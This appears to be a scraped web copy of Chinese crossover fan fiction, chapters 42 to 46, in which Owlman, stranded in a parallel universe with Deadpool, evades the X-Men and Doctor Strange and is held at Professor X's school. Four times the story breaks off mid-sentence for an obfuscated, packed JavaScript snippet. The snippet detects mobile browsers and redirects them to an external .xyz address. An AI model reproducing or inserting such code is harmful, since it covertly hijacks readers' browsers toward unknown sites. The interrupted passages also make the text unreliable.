他妈的。 托马斯所有的坚持都用来不把脏话说出口上面了。他喉咙滚动了一下,表情阴沉地挪动步伐从死侍的相框中离开:“别告诉我我们今天是过来打卡的。” “不然呢?”死侍很认真地在摆pose,因此回答得不太专心,“你现在是个黑户,难道要冲上去拉住美国队长或者蒙眼光头说‘你们好我是反转宇宙的超级反派现在打算过来加入你们’?那还不如摘掉面具对所有人说我姓韦恩我要和斯塔克竞争股权。” 他妈的。托马斯又在心里骂了一声。假设他现在手里有钱,和斯塔克竞争股权不如入股字节跳动封锁死侍的抖音账号。 “三天前你说你有个任务。” “我有。” “你现在在做什么?” “也许是尝试着做一些打压资本主义、让无产阶级站起来的事,简单地说就是旷工。”相机镜头咔咔咔响个不停,“别急,汤米,我认为让我的任务目标多活两天也算是客串超级英雄。” “别叫我那个名字。”托马斯冷冷道,“我说过在我穿着制服的时候称呼我为夜枭。” “你现在听上去有点像蝙蝠侠了。” 他不该说这句话,这种时候在夜枭面前提到蝙蝠侠是个危险的举措。托马斯往前迈了一步,死侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064613|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急急忙忙地移动手机避开他闯进相框的胳膊:“我说真的,我们还需要等待时机——一个适合你在这个宇宙登场的时机。我设想过许多戏剧化的场面,比如像万磁王那样众目睽睽中戴着反光的呆瓜头盔闪亮登场……” 托马斯看了三天报纸,现在他知道谁是万磁王:“你怎么还没有被变种人联合起来干掉?” 死侍深情地道:“说明这世界还是好人更多。刚才说到哪了?——那些场面都不适合你!不是因为你没有超能力,噢,这当然是原因之一,但不是主要因素。”他在托马斯彻底放弃控制情绪之前说道,“重点在于让要他们觉得,你也是个好人。” 托马斯绷紧的手臂肌肉放松下来。他漠然道:“你在做无用功。” “你太严肃了哥们,你对我冷笑话的时候最像个正派角色。” “你知道我一般在什么时候讲冷笑话?” “呃。”死侍说,“我不是很想了解,略过这个话题。无论你想让蝙蝠侠接受你的表白,还是让复联承认他们可以有个dc片场的新成员,首先都得融入他们。我们变种人最了解这个了,你猜怎么着,嘴上说得再好听,没人接受鸡蛋里的猕猴桃。” 夜枭不说话。 死侍放下手机,自娱自乐地继续:“接下来的问题是怎么达成这一目标。你就得感谢我了托马——” “夜枭。” “Whatthehell!我正打算说我愿意出任你正式登场时的那个反派角色呢!你再这样我就要一走了之了,你一个人对着美国队长的胸肌发呆去吧!” 托马斯:“Excuseme.” 死侍有些意外:“你今天承认错误的速度有些出人意料。” “Excuseme.”托马斯又礼貌地重复了一遍,“我很感谢你对重构我们之间关系的某些设想,但你背后站着的那位是复仇者联盟成员吗?” “……”死侍摸了摸脸上的面罩,确定它还好好的呆在那。夜枭的当然也是,包括完整的两只耳朵。 于是他缓缓转过身,并字正腔圆地对着来人说道:“Fuckyou。考虑在今天之后换个代号再换身制服、假装这一切都没发生过然后重来一遍么,夜枭?” 43. 综英美if线3 “不。”托马斯回答。 “我料到了。”死侍说,“现在你只有两条路可走,要么和我一起离开这个狗屎地方,要么把我扔在这吸引火力。我很确定你在策划后者,但在你将脑子里的任何一个危险想法付诸实际之前,我还有个问题——”他霍然抬手,指着巷子对面的两个X战警,“你这两天的历史课是和哪个白痴学的?谁他妈告诉你他们是复仇者联盟成员??” 托马斯抱起手臂:“……我听说钢铁侠的战甲有不同颜色。” “不同颜色的战甲只在一部电影里出现过十分钟,老兄。”死侍用力点了点来人当中浑身反射出银色金属光泽的变种人,“这位长得像我家铁锅镀层的家伙,是钢力士。你猜他是原子队长我都认了,‘钢铁侠’?我怀疑你在拿我寻开心。” “你有点失礼,韦德。”变种人学院现任教师之一钢力士不赞同地摇了摇头,“而且我没想到你居然还会与别人组队。” “听到他的口音了吗?”死侍旁若无人地回头,“这家伙是个俄罗斯人,没错,我看到你心里面潜藏着的惊讶表情了,在我们这种电影里正派俄罗斯人可不多见,不过这种时候对他喊‘乌拉’没什么用,我猜没什么用因为我没试过……” “Fantastic。”托马斯面无表情地应和了一句并打断他,“他旁边的人是谁?” “不会吧,你一个都不认识?” “我还在熟悉那些我记忆中没有的‘大人物’。”托马斯在最后一个短语上重读。 死侍被逗乐了:“那你应该认识他的。还记得我跟你提过这个宇宙里有一个红色头发、容貌美丽、实力强大、经历坎坷的女人……” “黑寡妇?” “黑寡妇是你的梦中情人吗?!你还喜欢超女王和超霸,这种性癖太糟糕了……下一个。” 托马斯配合道:“绯红女巫。” 死侍顿住了,几秒钟后说道:“……其实我想说的是凤凰女琴·葛蕾。” “我听说过这个名字。琴·葛蕾是个女人。”托马斯打量着钢力士旁边戴着墨镜的年轻人,“他看上去不像女人。” “这就是问题所在。”死侍干巴巴地道,“这是琴·葛蕾的男朋友。” “等等,asshole。”对面的变种人终于忍不住开口,“为什么你介绍他的时候是‘钢力士’,到我这里就变成了‘琴的男朋友’?我难道不值得你给出一个名字,或者至少是代号吗?” “镭射眼。”还是托马斯从记忆中翻出了这个在巨大信息量中偶尔出现了一两次的称呼。 镭射眼瞪着死侍,对托马斯说:“谢谢你,但我要是你,就不会和这种人组队行动。” “所以你们是为他而来?”托马斯往旁边撤了一步,“我不参与私人恩怨。” 死侍震惊道:“你伤我的心了!!!” “我有我自己的对手。抱歉,韦德。”托马斯仰起头,突然射出钩爪拽着自己上行、眨眼间落在右侧居民楼二楼的户外消防梯上。与此同时,他刚才站立的地方出现了一只箭矢。 “这里的人要怎么分辨绿箭侠和鹰眼?” 留在原地的死侍:“好问题,看箭头颜色吧。但你猜必要的时候他们两个会不会更换武器?无论他是谁,都是为你来的。我不明白的是这些人到底怎么找到的我们。” “Tiktok。”镭射眼示意他看手机,“你刚在社交媒体上上传了短视频。” “……” 托马斯无可奈何地按了下太阳穴,遥遥对不知道躲在什么地方的鹰眼或者绿箭侠说道:“我无意与你们为敌。”又向地面上的死侍说,“你的战斗和我没关系,我在老地方等你。” “不不不我也不想和这两个家伙打架!等等我!”死侍蹬着墙壁躲开镭射眼的攻击,爬向托马斯所在地,“拿出你们蝙……拿出你的PlanB,我们甩掉他们!” 托马斯拿臂甲挡开箭矢,伸手把死侍拉上来的时候想:幸运的是今天到场的人里没有一个有超级速度。 这个念头在他脑海中闪过的瞬间,天空中出现了金红色的火圈。 “Holyshit——”这句话是死侍喊的。法师传送门出现的那一刹那,托马斯条件反射地松开手原地翻滚闪避,全身都挂在他身上的死侍毫无悬念地从二楼掉了下去,砸进一台粉红色的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064614|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轿车里。 托马斯知道来人是谁,他临走前的道歉显得毫无诚意,扔下死侍离开的动作干脆利落到让在场的所有超级英雄都愣了片刻:“抱歉。” 死侍冲着他的背影喊:“这句话重复了!!” 金红色的传送门在逐渐扩大,卡玛泰姬于另一侧若隐若现。 托马斯加快脚步。 带着猫头鹰面具的男人在众目睽睽下向钢力士疾冲过去。后者摆出应战的姿势,然而托马斯毫无征兆地跃过他,从镭射眼身侧掠过时猛然伸手勒住他的脖子,强迫他眼中射出的冲击波转向、并摧毁了他们左侧的高墙。 一个脸上有奇异纹身的变种人女孩正站在墙后怔怔地看着他。 托马斯的想法很简单粗暴:他和死侍都没有注意到两个变种人是怎么靠近的。钢力士和镭射眼不会瞬移,X战警小队中一定有负责带领队员进行快速转移的成员。 猜想不可能百分之百正确。 他必须赌。 “X教授想要见我。”托马斯用急促的、命令式的口吻说道,“带我去学校。” 说不清是因为这句话的内容还是他令人迷惑的态度、又或者X教授的确有所安排,总之具有传送超能力的姑娘‘闪烁’下意识为他打开了门。 这时托马斯反倒不着急了。他回过头,视线从往这边跑来的钢力士、揉着脖子的镭射眼、粉红轿车里的死侍等人转移到了天空中徐徐下落的奇异博士身上。斯蒂芬·斯特兰奇若有所感,目光冷厉地看了过来。 “感谢各位的招待。” 托马斯说。 他往后退了一步,转身迈进传送门中,只给人们留下了一道熟悉又陌生的背影。 ** “是,是,我见到他了,但是没能把人扣下。你问我为什么?我还想知道为什么追捕他的人里面有X战警和奇异博士?”鹰眼坐在复仇者联盟大厦里,略显暴躁地对着面前的投影说道,“X战警我理解,他们想要见那个沉迷社交媒体的变种人雇佣兵。奇异博士又是怎么回事?那家伙到底是什么人?他从哪来?他和你有什么关系?你究竟还隐瞒了什么情报没有告诉我们——蝙蝠侠?” 44. 综英美if线4 奇异博士目送着鹰眼离开。 而后他缓缓降落在地面上,问镭射眼和钢力士:“你们究竟知不知道自己放走的是什么人?” 钢力士的脸被金属覆盖住,看不出情绪。镭射眼则摊开手露出无辜的表情:“你在说什么呢,博士?” “别跟我装傻——无论X教授是怎么交代的,那个代号是‘夜枭’的家伙比你们想象中的还要危险得多。”奇异博士边说边想往夜枭消失的地方走,但他刚迈开腿,就感受到身后传来了巨大的阻力,“尤其是对我们这个宇宙而言……你干什么?放开它!” 死侍抓着他斗篷的一角,像甩刚从洗衣机里拿出来的床单那样用力晃了晃手:“你好你好,幸会幸会。” 奇异博士:“好的,很高兴见到你,现在你能松手了吗?” “不。事实上,我不是很喜欢你刚才那句评价。”死侍加大力度,奇异博士的斗篷被甩出正弦函数的效果,“我的意思是,夜枭的确有可能有那么一点点特殊,但他的观众缘绝对没有我好,你凭什么把他评为‘极度危险反派’而不是我?” 奇异博士抽了抽嘴角,钢力士连忙走过来劝架:“韦德,松开手。抱歉,博士,我们无意妨碍你的工作,只是你刚才的话是什么意思?” “字面意思。”博士瘫着脸站在原地,他的斗篷为了自救、在他身后和死侍展开了一场激烈的拳击赛,“你们听说过平行宇宙吗?任何平行宇宙来客对我们宇宙而言都是危险的。他们的到来会导致宇宙和宇宙之间发生碰撞,最终造成两个世界的毁灭。” 死侍不知为何松了口气还有点走神,顿时被斗篷饱以老拳。镭射眼和钢力士面面相觑,前者说道:“教授可没有教过这样的物理知识。” “你不能在课本上学到所有东西,男孩。”奇异博士用力拽了自己的斗篷一把。失去对手的死侍把自己从报废车辆里拔出来:“别信,斯科特,其实他可能今天早上才从科幻小说里看到这段本来应该在他的第二部个人电影里出现的设定。” “不是我们不信任你,博士。”钢力士委婉道,“只是我们还需要找人商议一下才能决定如何处理那位……‘夜枭’。我记得死侍是这么称呼的。不过您是怎么认识他的?夜枭到底是谁?” 奇异博士:“我怎么知道?我不认识他。” 钢力士:“您不认识他??” 奇异博士:“我为什么会认识一个来自平行宇宙的人?” “……” 镭射眼:“但、但你刚说过他来自平行宇宙?” 奇异博士:“没错,我就了解这一条情报。你们还有什么别的问题?” “……” “没有了。”钢力士回答。 “我再强调一次,他来到我们宇宙这件事本身就极度危险。你们将我说的话转达给X教授,免得我还得亲自上门一趟。”博士打开传送门,“我希望能在两天内收到教授的回信。” 钢力士举起手:“我们会的,再见。” 奇异博士身影消失,镭射眼等他走后对同伴说道:“我现在真的觉得他可能是从科幻小说里看到的设定。” 死侍凑了过来:“你真明智。所以你们什么时候回去X学院?带我一个。” 镭射眼:“我还有个问题。闪烁带着夜枭走了,我们没开车来,现在怎么回去?” 钢力士无言地看着他们。半晌他心事重重地叹了口气,转身走向公交车站台。 ** 说实话,我从传送门迈出来的时候多少有点后悔。来到平行宇宙这三天时间里,死侍给我科普了不少常识,我自己也翻越过许多新闻,它们的共通点之一是都在向我传达某个信息——这是个奇特而危险的世界。 我研究平行宇宙的目的又不是给自己找不自在。从趋利避害的角度上讲,在发现我的临时室友韦德·威尔逊能用两把武士刀挡下从四面八方倾泻过来的子弹并且还不会死的时候,我就应该立刻马上想办法回去自己老家,假装从来没有来过这个鬼地方。 但我没有。 或许是我对它的好奇超过了戒备,又或许是死侍和那些熟悉的角色确实唤起了些许久远的记忆。有时候我打开电视机,差点以为新闻频道上播放是设计精妙的电影宣传节目,而不停向我吐槽超英演员选角的死侍则是个相识多年、过分话唠的老朋友。 他们共同淡化了周围环境的真实感,几乎使我忘记了哥谭。三天时间转瞬即逝,我尽量不去想蝙蝠侠,没有考虑过我失踪后会给辛迪加带来怎样的混乱,甚至不曾想过留在反转宇宙的阿尔弗雷德和理查德该怎么办。我和一个有超能力、随时能砍掉我的脑袋的变种人在一个破烂又昏暗的出租屋里醉生梦死,直到今天早上我们用啤酒罐子的拉环打飞镖靶,结束后他问我:“你有出门的打算吗?” 他应该更早一点问我这个问题。失重感消失了,是我熟悉的那只猫头鹰又飞了回来。他看着我,我看着他,几秒种后我把挤进沙发垫缝隙里的制服拽出来,回答死侍说:“好。你去执行你的任务,我跟着你。” 就是走一步看一步的意思,因为我实在不知道我在这里能干些什么,说是参观复联,那座大厦又不像白宫一样对外开放,超级英雄也不会坐在展柜里供我欣赏。 死侍说万磁王隐居的时候成了个光荣的工地运输工,我觉得不是不能考虑。 怀着这样轻松的摆烂想法,我跟着死侍出门,没有制止他发抖音,连在钢力士和镭射眼刚出现的时候都能和他开两句角色属性雷同的玩笑话。 ……然后我就发现了鹰眼。好吧,假如蝙蝠侠发现我们离开哥谭时前进的方向是纽约,在这个dc和漫威融合的宇宙,根据超英地盘自治原则他通知复联也很正常。 但是再一再二就罢了,居然还有再三——奇异博士紧随其后从天而降。 这位更是重量级,他把‘逮捕逃犯’的目的写在了脑门上,我顿觉棘手,而且立刻开始懊恼这三天时间里没有做更多准备。其实短短72小时也不够我准备更多,但作为正式考试才发现题目超纲的倒霉学生,我觉得我有资格多抱怨两句。 抱怨的对象之一死侍被X战警接手。他倒不会有什么麻烦,我只希望他能记住在下次出任务前关闭手机定位功能。 抱怨的对象之二就比较不幸,我是说我自己。 跟着变种人闪烁离开确实是我当时能做出的最行之有效的尝试。然而看看结果是什么吧——我把自己传送到了超人类堆里。 眼下坐落在我正前方的,是一座堪比韦恩庄园的豪华城堡。这里阳光明媚、绿草如茵,城堡前方有着碧波荡漾的水池,一群能力不明的小变种人们在池塘边的草坪上或坐或躺,只有少数几个警戒心较强的发现了我们的到来。 我很想掐着我身边变种人的脖子,让她送我去到一个没有超能力者的地方。 死侍跟我说……是的还是他,除了网络之外韦德是我唯一的情报来源,他说绝大多数变种人没什么可怕的,他们在这受到和平教育,未来也将融入社会。对这些还不能脱离教授直立行走的小鸡仔们,夜枭就算没法一拳一个,起码也能两拳一个。 见识过反转宇宙全员恶人的我对此持保留意见。 死侍劝告我没必要把每个我没见过的超能力者做成表单,俗话说好记性不如烂笔头,我拒绝了他。劝告失败之后用他丰富的比喻和修饰词骂我和我兄弟一样有病。我知道死侍说的是谁,因此被骂得莫名其妙,不知道这又是哪个我没听说过的美漫梗。 总之就因为湖边的一群变种人小孩,我拉着‘闪烁’在x学院外围的树丛中站了好一会。大概是我的态度太凝重了,我身边的变种人X战警竟然也没有催促。几分钟过去,湖对面走过来一位年轻的红发姑娘,她不等我开口便说道: “你好,我是镭射眼的女朋友。” 我:“……” 真是别开生面的自我介绍。 琴·葛雷将闪烁打发走,领着我前往城堡。作为当今时代可能是最为强大的变种人,凤凰女即便对我这个三天前才听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064615|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过X战警成员名单的人来说都足够声名显赫。不过最令我警惕的不是她有多能打,而是这位姑娘和X教授一样具有心灵感应的超能力。 我想死侍不该总嘲笑万磁王的头盔,那技术真的很值得推广。 我们走进城堡的大门,一个年迈声音从我身侧传来。 “你可以试试看。”随之而来的还有轮椅轮胎与地面的摩擦声,“有钱也有时间的情况下,艾瑞克的头盔并不难于复制,而这两点对你来说恰恰都不是什么问题。” 一刹那间,我差点打了个寒颤,并且很难说清心中惊讶与杀意究竟哪个占比更大一点。 ** 自控力。 琴·葛雷琢磨着这个单词,看到她旁边的男人在X教授话音落下之后迅速地冷静下来。有那么一秒……或许不到一秒的时间里,她以为他会对教授动手。但紧接着,一切能够被察觉到的表面情绪都被收敛干净了,现在她身边站着的只是没有波动的水面、或是个无生命的静止的物体。 这样的人居然会和死侍一起行动,确实有些不可思议。 “我不觉得我有钱。”相反地,他的身体还在活动,耸了耸肩说道,“也未必很有时间。” “我要向你道歉。”X教授撑着轮椅靠近了一点,用隐约带着微笑的和蔼表情看他,“我不是有意探查你的记忆,但我必须首先知道你是谁,然后才能决定如何对待你。” 用面具遮住半张面孔的男人问:“那么我是否有幸了解阁下现在的想法?” “噢,当然。”X教授笑容变得明显了点,“诚实地讲,我非常、非常的惊讶。请放心,如果你介意,我不会将你的身份和过去告诉别人,包括我的学生们。” 夜枭平静道:“我很想接受你的道歉,但被你知晓的东西对我来说更重要些。” “确实,不过你也借着我的名义脱离了奇异博士的追捕,所以我们两个暂时能算是两不相欠吗?” “等等,教授。”琴诧异道,“不是您让他过来的?” “当然不是。”X教授回答,“我不能未卜先知。” “所以……”琴看向夜枭。 托马斯简单道:“那是句谎话。” 结果闪烁当真了,镭射眼当真了,钢力士也当真了。 这只能说明他们对X教授的能力过于有信心,和猫头鹰又有什么关系? X教授大笑。玩笑过后他露出了严肃的表情,对托马斯说起正事:“你恐怕还不知道奇异博士为什么会找上你。琴,能请你暂时离开一会,将空间留给我们这位客人吗?也请不要让其他学生或教师靠近这里。” 出于对X教授的信任,尽管他口中的‘客人’毫无疑问是个危险人物,琴还是三步一回头地转身走远了。X教授这才粗略地讲解了宇宙碰撞的危险,并问道:“这里面有个问题,托马斯……我能否这么称呼你?” “夜枭。”托马斯拒绝了。 “好吧,夜枭。”X教授脾气相当好,闻言只又认真地打量他一眼,“如果你只是个普通的平行宇宙来客,确实有可能引发宇宙撞击。为了两个世界的安危,无论你主观上是否愿意,我都会将你交给奇异博士,等他寻找出最为妥善的解决方案。” 夜枭重复他的说法:“‘普通的平行宇宙来客’……你为什么觉得我不是?” “你在试探我?试探初见的一瞬间我能在你大脑里面看到多少?”X教授问,“我可以告诉你,绝不是全部,但也足够我知晓你的家乡、你来的地方是个独特、甚至可以说独一无二的反转宇宙。” “……” “关键就在这,夜枭。我不认为反转宇宙和正常宇宙之间会由于引力发生撞击,因为二者运行的‘方向’是完全相反的。换句话说,我认为奇异博士对你的追捕毫无必要。但若想要让他与其他人相信这一点……除非你立刻离开,否则就得让所有听说过这个理论的超级英雄知道你是谁、以及你来自什么地方。” 他说完,布满阳光的长廊顿时陷入静寂。 45. 综英美if线5 如果坐在我面前的人不是X教授,我会怀疑那什么什么宇宙撞击是他现编出来的设定。 卢瑟和我研究了这么多年的平行宇宙,他不傻,我的智商也在及格线上,但我们两个谁都没有发现穿越世界还会带来这种风险。这说明要么是我和卢瑟的脑子同时出了问题,要么就是X教授口中的定律只在特定宇宙中成立。 我不太想承认前者,所以暂且假定后者。 假如我与X教授立场相近,实力相仿,我会愿意多花点时间坐下来和他聊聊基础物理,从源头开始推导我们两个对平行宇宙的认知究竟是从哪一步起产生了差异。可惜我现在变不出美元也造不了万磁王的头盔,站在这里实在很缺乏安全感。 要离开这,外面有个能徒手画圆的法师等着我自投罗网,否则就得在超英前面进行自我介绍,告诉他们我是来自隔壁宇宙的反派组织首领之一,本次出行仅代表个人,目的单纯是为改善心情随便逛逛——堪比交战国的军官突然办理了敌对国家的旅游签。 我还没有办签证。 我是偷渡来的。 …… 讲道理,人怎么能倒霉到这种地步?先是在垃圾桶中遇到蝙蝠侠,然后发现蝙蝠侠继承了自己的家产,不出预料地被黑暗骑士追着撵,最后从摆脱一个超级英雄、到即将被全部超级英雄通缉仅仅用了三天—— 更不幸的是我察觉到我脑子里的吐槽全变成了死侍的声线。 这宇宙有毒吧。 X教授大约看出了我面对此情此景实在无话可说,于是善解人意道:“我可以为你作证,证明你说的都是实话。” 算了。 我说:“我选择离开。” X教授眉毛微微动了一下。他还是那种好像在微笑的友善表情,身体放松地靠在轮椅上,用随意的口吻问道:“但你该怎么向我保证,你回去以后不会再带着你的‘朋友们’来到我们的地球呢?比如,如果我没有看错的话,你们的宇宙里也有一个氪星人,是吗?” “……” 我也不是第一次应付这样必须给出合理答案的场合,可是大多是面对辛迪加成员,特别是超女王或者超霸。辛迪加之外,能让我全神贯注地组织语言的情况是比较罕见的,这使我更加厌倦这场对话:“辛迪加过来对我而言没有好处。” X教授很敏锐地问:“哦?这么说,你能确保你朋友们的行动完全是遵从你的意愿?” 我靠在墙壁上直视着他的眼睛:“我不能,我只是打消他们额外的想法。” “有趣。”X教授的轮椅在原地转了一转,他陷入思考,并继续问道,“那么你呢?你对这里难道就没有半点‘额外的想法’?” “例如?” “例如同那位正在韦恩集团最顶层办公室里工作的先生见上一面?” 我理解,知道我是谁的人,难免会联想到这个宇宙里面大名鼎鼎的另一位韦恩。 但他又不是我的监护人,我们就非得在对话当中被绑定到一块吗? “不。”我毫无犹豫地说,“我认为这个话题可以到此为止。” X教授并不打算停下来:“我希望你明白——你是个聪明人,托马斯——假设我不能够了解你的目的、或者说你探索平行宇宙的动机,你无论是留在这还是离开我们的宇宙都会是件麻烦事。我想要帮你摆脱麻烦。” 他说的是对的,我能感觉到他想帮助我是出于真心,但这都不妨碍我对谈话彻底失去耐心与兴趣:“我十分感谢您,教授。然而其实如果你刚才再多看点我的记忆,就会发现我待在这不走,辛迪加成员集合起来进攻平行宇宙的可能性才更大一点。” X教授不为所动:“我看得出来你今天不想再见到我了,我也觉得现在的我有些惹人生厌,但是请原谅,这都是必要的工作。容我再问一个问题,你说你不想去见那个人,所以你来这之前真的从未想过在平行宇宙寻找你的兄弟?” 我简直忍不住要在一栋挤满变种人的房子里对他们中最强大的那一位发火了:“你不能自己在我的脑袋里寻找答案?” “因为你过于抗拒我,强行入侵会对你的大脑造成损伤——回答我肯定还是否定就行。” 我的太阳穴一阵抽痛,过了一会才回答他:“……我没想过。” 教授紧接着问道:“那我就更加惊讶了,还要超过我得知你是谁及你来自哪的时候。既然你甚至不打算见你心中最在乎的人,我不禁好奇,你曾经想要前往的那个宇宙里面,还剩下什么东西?” “……” “你在那吗?你在你想象中那个世界里吗?” “……”我回答,“不。” 我需要某些存在来证实我的记忆不是一个孩子在空虚时产生的幻想。 没有辛迪加,没有超能力者,没有反转的宇宙,当然也不会有夜枭。 他沉默了。 ** “什么情况?”死侍在X学院门口被拦了下来。钢力士和镭射眼也有点莫名,不过守着门的暴风女奥洛罗·蒙罗,她撑着门柱懒洋洋地说道:“禁止探监。” 死侍握住刀柄伸头:“你们把他关起来了?X教授呢?别紧张,我想和他进行一番友好对话。” 暴风女:“教授刚同你的朋友友好对话过,韦德。现状比你想象得要复杂,我们不得已才把他留在这里。你要强行带走他只会引来更大的麻烦,比如奇异博士或复仇者联盟。” “怎么回事?”镭射眼也问道,“教授和夜枭打起来了?” “没有,他们两个都不是莽撞的人。”暴风女叹了口气,“具体是什么情况我不清楚,查尔斯不肯说。死侍也不用太担心,可能教授只是觉得夜枭需要补习高中课程。” 镭射眼茫然:“什么?” “他上课呢。”暴风女道,“和失忆的金刚狼还有其他学生一起。” 死侍没忍住笑起来:“为什么我觉得这比被关起来更恶毒一点?” “或许。”暴风女并不接茬,“查尔斯在思考该怎么向奇异博士和其他人交代,他作出决断前夜枭不被允许离开这里。所以你今天恐怕没法见到你的朋友了,死侍。晚些时候我们要和复仇者联盟开场会议,你得出席。” 钢力士问:“只有复联?查尔斯不打算通知正义联盟?我记得这个任务还是从蝙蝠侠那转过来的。” “应该?我不知道。”暴风女耸肩道,“我现在依然对我们的客人一无所知,你们谁有疑问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064616|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以直接去历史课教室问他本人。” ** 蝙蝠侠正在检查装备。 “您要去哪?”阿尔弗雷德问。 “纽约。今天下午有一场会议。” “不能线上?” “不,会议内容和我有点关系。” 管家了然:“是夜枭?三天前你们打过一架之后,他就再也没有出现过。他现在在什么地方?” “X教授把他带到了自己的学校,所以我还需要那件能抵御心灵感应的制服。”蝙蝠侠匆匆说道,“查尔斯·泽维尔想要说服奇异博士过段时间再决定如何处理夜枭,他希望能给双方留下缓冲余地。问题在于奇异博士是个固执的人,夜枭也不容易妥协。我料想会议现场不会太和平。” “那么您的立场呢?” “我?”蝙蝠侠换衣服的动作顿了顿,“我站在正确的一方。” “当然,我相信这一点。”阿尔弗雷德把他的腰带递过去,“但你知道他是谁,老爷,还有他看到达米安时的态度(本文第八章)。我在想,假如他不是个坏人……” “我们讨论过了,阿尔弗雷德,不管他是谁,都要以宇宙的安危优先。” “是的,我就是这个意思,但愿一切顺利——祝你一路顺风,老爷。” ** 夜枭有一事绝对未掺假话:他待在平行宇宙,辛迪加才更有可能注意到这个地球。 反转宇宙,距离卡尔闯进韦恩庄园拎着局外人的衣领询问夜枭的下落(本文第七章)已经过去了三天。夜枭失踪的第一个晚上,阿尔弗雷德答应加入寻找猫头鹰下落的队伍。第二天白天,超霸和超女王去找了秀发飘逸的卢瑟的麻烦,可除搞丢一台机械哈莉之外一无所获。 第三天,猫头鹰依然不见踪影。哥谭风平浪静,人们仿佛还没有意识到这里失去了主人。这下连卢瑟都有些坐不住了。前往平行宇宙时的传送过程属于技术范畴,其风险是可控的;然而落地之后会遇到什么人或事物,恐怕只有上帝才能给出答案。以卢瑟对托马斯·韦恩的了解,假设他有余裕,至少应该想方设法发回来一两条解释。 现在这样毫无动静,要么是夜枭打算整个大的,要么他受制于人、无暇他顾。 很难说哪个更糟糕点。 辛迪加内部意见不统一,在会议桌前吵了一下午还毫无进展。不过大部分成员的想法根本没有参考价值,这毕竟不是个民主的组织,关键还在于超霸和超女王的态度。他们两个决定寻找夜枭,辛迪加就会前往平行宇宙;他们两个打算放着不管、瓜分地盘,哥谭就会进入漫长的洗牌期…… 呃,是说假设大家真的愿意相信夜枭三天不回来就是一辈子回不来的话。 没有人傻到这种程度。 因此当氪星人表示挑选出几个成员、同他和露易丝一起去平行宇宙寻找夜枭时,会议桌上的人们纷纷松了口气,一边赞同超霸的决策一边开始组队,就好像刚才无意义的争吵根本没发生过。 旁观的卢瑟:…… 早干嘛去了? 和废物合作只会拉低效率,新一轮商议开始了,他坐在椅子上无所事事地走神,前所未有地怀念起合伙人是夜枭时的科研岁月来。 46. if6 很难形容现在的情况。 第二次穿越的三天后,我坐在一间宽敞明亮、装潢奢华、足以成为老式电影经典画面的中学教室里,身前是那种靠背椅与小桌板连体的课桌,周围环绕着一圈年龄只有我鞋码大(美国码)的变种人青少年。尽管讲台上的年轻女老师不停地敲击黑板让他们集中注意力,这些孩子依然趁她不注意不停地往我身上偷瞄。 我理解他们,换成是我读中学的时候碰见个穿cosplay制服上学的成年同学,我能看得比他们还起劲。 但我在他们眼中的形象存在一个问题,这帮小萝卜头很明显低估了我的危险性,我旁边看上去只有十一二岁的男孩明目张胆地和他朋友讨论着夜枭制服,以为我没有发现,还偷偷伸手触摸披风上的金属猫头鹰羽毛,然后小幅度地发出惊呼声——假使我想做点什么,他伸手的瞬间指头就已经断了。 课堂进行到一半时,变种人女教师出于职责问了我一个关于二战的问题,她显得有点紧张,但我不想惹麻烦于是回答了她,而这似乎给了其他人一种错觉。 几分钟后,小组讨论时有个女孩主动过来问我需不需要搭档。 我在她清澈的瞳孔中看到了自己脸上的圆形护目镜,她站起来时和我坐着差不多高。这时候还能怎么办?向未成年展示成年人优秀的学习能力? 我只好对她笑了一下,把她递过来的课本重新递回去以示拒绝,看着这孩子满脸通红、尴尬地小跑着回到座位,引来小范围的起哄声。 也许我才是该感到尴尬的那个。这样寻常的景象我有几十年时间没经历过了,连死侍都不会在我走神的时候突然出现在我身后,可是变种人学校的学生们尚且没有受到教训。当我蜷在过于狭窄的空间中穷极无聊地翻着‘同学’借来的课外书时,他们像风一样划过我的脊背,带来难以形容的战栗感。 